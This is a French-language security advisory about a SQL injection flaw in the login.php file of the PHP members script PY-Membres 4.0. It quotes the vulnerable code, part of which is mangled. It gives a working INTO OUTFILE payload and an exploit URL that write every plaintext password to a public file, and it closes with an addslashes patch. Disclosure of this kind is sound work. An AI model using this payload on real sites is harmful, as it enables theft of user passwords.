PY-Membres 4.0 ************** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.py-scripts.com/ Testé sur la version : 4.0 Config PHP : magic_quotes_gpc=OFF Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° PY-Membres est "un script d'espace membres facilement intégrable au design de votre site ; nombreuses fonctions, telles que l'envoi du mot de passe par mail, la destruction automatique du compte, une partie administration complète avec modération possible des inscriptions, possibilité de foir la fiche d'un membre, et d'envoyer une newsletter a tous les membres. " J'avais déjà recensé un problème de sécurité liée à l'utilisation des sessions dans la version 3.1. Ici le problème est de type injection SQL. Il se trouve dans le fichier login.php, dont voici le code : -------------------------------------------------------------------------------------------------------------------------- '.$sql.'
'.mysql_error()); $data = mysql_fetch_array($req); if($data['passwd'] != $pass) { echo "

Mauvais login / password. Merci de recommencer

"; mysql_close(); exit; } else { $ploginy=$login; session_register('ploginy'); $ip=$REMOTE_ADDR; $host=gethostbyaddr($ip); $log=date("d/m/Y à H\hi | "); $log.=$ip." | ".$host; $action = mysql_query("UPDATE $db_table SET lastlog='$log' WHERE login='$ploginy'") or die (mysql_error()) ; mysql_close(); Header("Location: membre.php"); } ?> -------------------------------------------------------------------------------------------------------------------------- Petite explication de ce script. On initialise d'abord la session, puis on inclut les fichiers config.php et functions.php, qui, comme on s'en doutent, contiennent respectivement des informations sur la configuration du script et des fonctions pour son execution. Ensuite on vérifie via la fonction est_vide() si on a bien entré un login (variable $login) et un mot de passe (variable $pass) et on se connecte à la base de données. On établit alors dans $sql une requête qui sera executée juste après, qui est : ------------------------------------------------- SELECT passwd FROM $db_table WHERE login='$login' ------------------------------------------------- $login est une variable dont la valeur est définie par l'utilisateur, et $db_table est définie dans config.php, et a comme valeur par défaut "pymembres" : ---------------------- $db_table="pymembres"; ---------------------- La requête extrait donc le mot de passe de la table pymembres où le login est la valeur donnée à $login. Enfin on vérifie que le mot de passe entré par l'utilisateur est bien celui extrait de la base de donnée, on quitte le script et affiche un message si ce n'est pas le cas, ou ou lance la session utilisateur et on enregistre l'ip et l'heure du log dans la table si ça l'est. Il ne faudra donc pas perdre de vue que si on se logue, l'ip est enregistré, mais ce n'est pas le problème de ce texte, qui n'est pas sur le spoofing :) Ici il n'est pas question d'utiliser le classique ''='', pour valider une requête SQL, car on ne connait pas le mot de passe. Par contre, on peut extraire les mots de passe de la base de donnée. Par exemple, si on entre une valeur à mot de passe (car sinon le script se bloque), et qu'on donne par exemple à $login la valeur : ------------------------------------------------------- ' OR ISNULL(NULL) INTO OUTFILE '/path/to/site/file.txt ------------------------------------------------------- (/path/to/site/ étant le chemin du website dans le disque dur du serveur), alors la requête executée deviendra : ------------------------------------------------------------------------------------------------ SELECT passwd FROM pymembrs WHERE login='' OR ISNULL(NULL) INTO OUTFILE '/path/to/site/file.txt' ------------------------------------------------------------------------------------------------ Quelle conséquence ? ISNULL(NULL) renvois toujours vrai, comme 1=1, ''='', et bien d'autres expressions. INTO OUTFILE enregistre le résultat de la requête dans un fichier dont le chemin suit ('/path/to/site/file.txt'). L'url : http://[target]/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1 affichera donc le message "

Mauvais login / password. Merci de recommencer

" mais enregistrera tous les mots de passe se trouvant dans la table pymembres (non-cryptés) dans le fichier http://[target]/file.txt. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Il suffit d'ajouter la ligne : ---------------------------- $login = addslashes($login); ---------------------------- avant celle-ci : ----------------------------------------------------------- $sql = "SELECT passwd FROM $db_table WHERE login='$login'"; ----------------------------------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@phpsecure.org Website : http://www.frog-man.org, http://www.phpsecure.info Date : 05/04/03